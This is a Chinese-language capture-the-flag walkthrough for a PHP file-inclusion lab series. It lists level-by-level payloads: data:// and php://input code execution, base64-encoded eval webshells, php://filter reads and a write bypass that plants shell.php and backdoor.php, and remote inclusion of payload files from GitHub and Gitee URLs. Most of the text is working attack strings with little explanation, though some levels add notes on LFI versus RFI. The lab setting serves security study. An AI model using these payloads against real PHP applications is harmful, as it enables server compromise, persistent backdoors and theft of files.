Level 1 file协议
payload:?wrappers=/flag
Level 2 data协议
去包含data协议中的内容其实相当于进行了一次远程包含,所以data协议的利用条件需要 php.ini 中开启 allow_url_fopen 和 allow_url_include
GET: ?wrappers=, 然后 POST:helloctf=system('cat /flag');
Level 3 data协议_2
用base64编码进行绕过
根据base64解码规则和php中base64解码宽松性,= 在解码过程开始前会被移除,所以不会影响解码结果,但是+号作为码表的一部分移除会导致解码不正确,注意分别。
Payload:
GET: ?wrappers=;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGwnXSk7Pz4, POST:hell=system('cat /flag');
Level 4 http:// & https:// 协议
GET:?wrappers=127.0.0.1/backdoor.txt POST:ctf=system('cat /flag');
Level 5 http:// & https:// 协议_2
本题使用远端包含:
GET:?wrappers=raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI POST:a=system('cat /flag');
Level 6 php:// 协议
php://input + [<?= system('tac flag.???');?>]
php://input + [<?php fputs(fopen('backdoor.php','w'),'<?php @eval($_GET[ctf]); ?>'); ?>]php://filter//resource=/flag
php://filter/read=convert.base64-encode/resource=flag.php
php://filter/convert.base64-encode/resource=flag.php
Level 7 php://input 协议
<?php eval($_GET['ctf']); ?> /* 间接代码执行 */ <?php fputs(fopen('backdoor.php','w'),'<?php eval($_POST["ctf"]); ?>'); ?> /* 生成后门木马 */ <?= system('tac flag.???');?> /* 直接命令执行 */
Level 8 php://filter_过滤器&字符串过滤器
?wrappers=filter/string.rot13/resource=/flag
Level 9 php://filter_转换过滤器
?wrappers=filter/convert.base64-encode/resource=flag.php
Level 10 文件系统函数_file_get_contents()
php://filter/string.toupper/resource=/flag (正则并没有匹配大小写)
php://filter/string.rot13/resource=/flag
php://filter/read=convert.base64-encode/resource=/flag
Level 11 文件系统函数_file_put_contents()
Payload:
GET:?filename=php://filter/write=convert.base64-decode/resource=backdoor.php
POST:data=PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGwnXSk7Pz4
backdoor.php :
Level 11- 封装协议解析
string.rot13
string.strip_tags 去除html、PHP语言标签 (本特性已自 PHP 7.3.0 起废弃)
convert.base64-encode 和 convert.base64-decode
convert.iconv.
Level 11+ 死亡绕过
对内容填充两个字符后可以使前方无效后方正常解析。
GET:?filename=php://filter/write=convert.base64-decode/resource=shell.php
POST:data=aaPD9waHAgQGV2YWwoJF9QT1NUWydhdyddKTsgPz4
Level 12 LFI&&RFI
LFI - Local File Inclusion, 本地文件包含: 打开并包含本地文件的行为,比如我们后面会接触的日志文件包含,session文件包含,FilterChain等等。
本地文件包含是最常见的文件包含漏洞,在前面关卡中几乎所有的演示都是LFI(比如包含phpinfo.txt,backdoor.txt这样的行为)。
?wrappers=https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI
RFI- Remote File Inclusion,远程文件包含: 读取并执行远程服务器上文件的行为,相比于LFI,远程服务器上文件的可控性更高,因此危害更高,但代价就是条件苛刻,十分依赖 allow_url_include 参数。 HTTP/HTTPS 协议是最直观的远程文件包含形式,当然一定意义上,使用data协议去生成字符串然后包含也是一种远程文件包含。